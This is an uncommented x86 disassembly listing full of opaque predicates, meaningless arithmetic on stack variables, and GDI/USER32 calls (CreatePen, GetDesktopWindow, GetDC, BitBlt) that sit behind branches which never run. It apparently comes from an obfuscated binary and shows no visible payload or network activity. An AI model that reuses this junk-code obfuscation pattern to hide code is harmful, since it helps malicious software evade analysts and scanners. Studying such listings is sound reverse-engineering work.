mov dword [ebp - 0xbf4], 0xf2b3a76c
mov dword [ebp - 0x1d0c], 1
mov dword [ebp - 0xbfc], 0xec89
mov dword [ebp - 0x1bb0], 0x68de677d
mov dword [ebp - 0x700], 0
jmp 0x450c41
mov eax, dword [ebp - 0x700]
inc eax
mov dword [ebp - 0x700], eax
cmp dword [ebp - 0x700], 2
jge 0x450c5d
mov eax, dword [ebp - 0x700]
mov dword [ebp + eax*4 - 0x1cf8], 0xf2ab2bc8
jmp 0x450c34
xor eax, eax
inc eax
je 0x450dca
mov dword [ebp - 0xa30], 0
mov dword [ebp - 0x960], 0x969e96c9
mov dword [ebp - 0x41c], 0xfffffffb
mov eax, dword [ebp - 0x894]
neg eax
cmp eax, dword [ebp - 0xb94]
jg 0x450ca0
mov dword [ebp - 0xbac], 1
jmp 0x450ca7
and dword [ebp - 0xbac], 0
mov eax, dword [ebp - 0x42c]
mov dword [ebp - 0x28d4], eax
mov eax, dword [ebp - 0x424]
mov dword [ebp - 0xa30], eax
mov eax, dword [ebp - 0xa30]
mov dword [ebp - 0x960], eax
mov eax, dword [ebp - 0x960]
mov dword [ebp - 0x2398], eax
mov eax, dword [ebp - 0x41c]
mov dword [ebp - 0x2734], eax
mov eax, dword [ebp - 0xa30]
sub eax, dword [ebp - 0x41c]
cmp eax, 0x52f52174
jge 0x450d02
mov dword [ebp - 0xb8c], 1
jmp 0x450d09
and dword [ebp - 0xb8c], 0
cmp dword [ebp - 0xb8c], 0xdcb
jne 0x450d21
mov dword [ebp - 0x1e10], 1
jmp 0x450d28
and dword [ebp - 0x1e10], 0
cmp dword [ebp - 0xb94], 0x13e0
jge 0x450d40
mov dword [ebp - 0xb9c], 1
jmp 0x450d47
and dword [ebp - 0xb9c], 0
mov eax, dword [ebp - 0x41c]
cmp dword [ebp - 0xb9c], eax
je 0x450d61
mov dword [ebp - 0xba4], 1
jmp 0x450d68
and dword [ebp - 0xba4], 0
mov eax, dword [ebp - 0x894]
cmp dword [ebp - 0xba4], eax
jg 0x450d82
mov dword [ebp - 0xbb4], 1
jmp 0x450d89
and dword [ebp - 0xbb4], 0
mov eax, dword [ebp - 0xbac]
sub eax, dword [ebp - 0xbb4]
imul eax, dword [ebp - 0x41c]
test eax, eax
jne 0x450db2
cmp dword [ebp - 0x960], 0
jne 0x450db2
and dword [ebp - 0xbbc], 0
jmp 0x450dbc
mov dword [ebp - 0xbbc], 1
mov eax, dword [ebp - 0xbbc]
mov dword [ebp - 0x41c], eax
jmp 0x450dee
mov byte [ebp - 0x2f6], 0
movzx eax, byte [ebp - 0x2f6]
test eax, eax
je 0x450dee
push 0
push 0xcda
push 0x10d6
call dword [sym.imp.GDI32.dll_CreatePen]
mov eax, dword [ebp - 0x1ba8]
mov dword [ebp - 0x23a0], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1cf8], 0
je 0x450e3d
mov eax, dword [ebp - 0x424]
mov dword [ebp - 0x285c], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1cf8]
mov ecx, 0x149c99c4
neg ecx
imul eax, ecx
test eax, eax
je 0x450e3d
mov dword [ebp - 0xbc4], 1
jmp 0x450e44
and dword [ebp - 0xbc4], 0
mov eax, dword [ebp - 0xbc4]
add eax, dword [ebp - 0x424]
mov dword [ebp - 0xbcc], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xbcc]
mov dword [ebp + eax - 0x1cf8], ecx
mov eax, dword [ebp - 0xbcc]
mov dword [ebp - 0x894], eax
mov eax, dword [ebp - 0x42c]
cmp dword [ebp - 0x894], eax
jle 0x450e8f
mov dword [ebp - 0xbd4], 1
jmp 0x450e96
and dword [ebp - 0xbd4], 0
mov eax, dword [ebp - 0x424]
cmp dword [ebp - 0xbd4], eax
jg 0x450eb0
mov dword [ebp - 0xbdc], 1
jmp 0x450eb7
and dword [ebp - 0xbdc], 0
mov eax, dword [ebp - 0x424]
cmp dword [ebp - 0xbdc], eax
jle 0x450ed1
mov dword [ebp - 0xbe4], 1
jmp 0x450ed8
and dword [ebp - 0xbe4], 0
mov eax, dword [ebp - 0x42c]
cmp dword [ebp - 0xbe4], eax
jle 0x450ef2
mov dword [ebp - 0xbec], 1
jmp 0x450ef9
and dword [ebp - 0xbec], 0
mov eax, dword [ebp - 0xbec]
mov dword [ebp - 0xbf4], eax
mov eax, dword [ebp - 0xbf4]
sub eax, dword [ebp - 0x1d0c]
mov dword [ebp - 0xbfc], eax
mov eax, dword [ebp - 0xbfc]
sub eax, dword [ebp - 0x42c]
jne 0x450f37
cmp dword [ebp - 0x42c], 0
jne 0x450f37
and dword [ebp - 0xc04], 0
jmp 0x450f41
mov dword [ebp - 0xc04], 1
cmp dword [ebp - 0xc04], 0
jb 0x450f56
mov dword [ebp - 0xc0c], 1
jmp 0x450f5d
and dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0xc0c]
mov dword [ebp - 0x1bb0], eax
mov dword [ebp - 0xc34], 0
mov dword [ebp - 0xc1c], 0x70cadd63
mov dword [ebp - 0x1bb8], 0xfffffffc
mov dword [ebp - 0xc54], 0xcaad9015
mov dword [ebp - 0x1d14], 0xffffffff
mov dword [ebp - 0x1bc0], 0x3624b674
mov dword [ebp - 0x13c], 0
jmp 0x450fbe
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 3
jge 0x450fda
mov eax, dword [ebp - 0x13c]
mov dword [ebp + eax*4 - 0x19e0], 0xffffffff
jmp 0x450fb1
mov dword [ebp - 0x13c], 0
jmp 0x450ff3
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 3
jge 0x45100f
mov eax, dword [ebp - 0x13c]
mov dword [ebp + eax*4 - 0x1f08], 0xfff8
jmp 0x450fe6
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x19e0]
mov dword [ebp - 0x23a8], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x19e0]
mov dword [ebp - 0x273c], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1f08]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x19e0]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x1f08]
jl 0x451068
mov dword [ebp - 0x1dd0], 1
jmp 0x45106f
and dword [ebp - 0x1dd0], 0
push 6
pop eax
cmp eax, 5
ja 0x451083
mov dword [ebp - 0xc14], 1
jmp 0x45108a
and dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0xc14]
mov dword [ebp - 0xc1c], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x19e0]
cmp dword [ebp - 0xc1c], eax
jle 0x4510b6
mov dword [ebp - 0xc24], 1
jmp 0x4510bd
and dword [ebp - 0xc24], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xc24]
sub ecx, dword [ebp + eax - 0x19e0]
cmp ecx, dword [ebp - 0x1bb8]
jne 0x4510e4
mov dword [ebp - 0xc2c], 1
jmp 0x4510eb
and dword [ebp - 0xc2c], 0
cmp dword [ebp - 0xc2c], 0xffff
jne 0x451109
mov dword [ebp - 0x68], 0xffffffff
mov dword [ebp - 0x1c2c], 0x1dfe936b
mov dword [ebp - 0x1830], 0xfffffff6
mov dword [ebp - 0x1858], 1
mov dword [ebp - 0x6f4], 0
jmp 0x459317
mov eax, dword [ebp - 0x6f4]
inc eax
mov dword [ebp - 0x6f4], eax
cmp dword [ebp - 0x6f4], 3
jge 0x459333
mov eax, dword [ebp - 0x6f4]
mov dword [ebp + eax*4 - 0xa70], 0xffff
jmp 0x45930a
mov byte [ebp - 0x247], 0
movzx eax, byte [ebp - 0x247]
test eax, eax
je 0x45938a
push 0x19f7
push 0x1f59
push 0x1808
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x12c9
push 0x796
push 0x151
push 0x1a65
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
mov dword [ebp - 0x68], 0
jmp 0x45939a
cmp dword [ebp - 0x68], 2
jg 0x459559
mov dword [ebp - 0x6fc], 0
jmp 0x4593bd
mov dword [ebp - 0x1b8], 1
mov dword [ebp - 0x2f4], 0
mov dword [ebp - 0x1c3c], 1
mov dword [ebp - 0x1c44], 0x6c5051dd
mov dword [ebp - 0x1b8], 2
jmp 0x45959a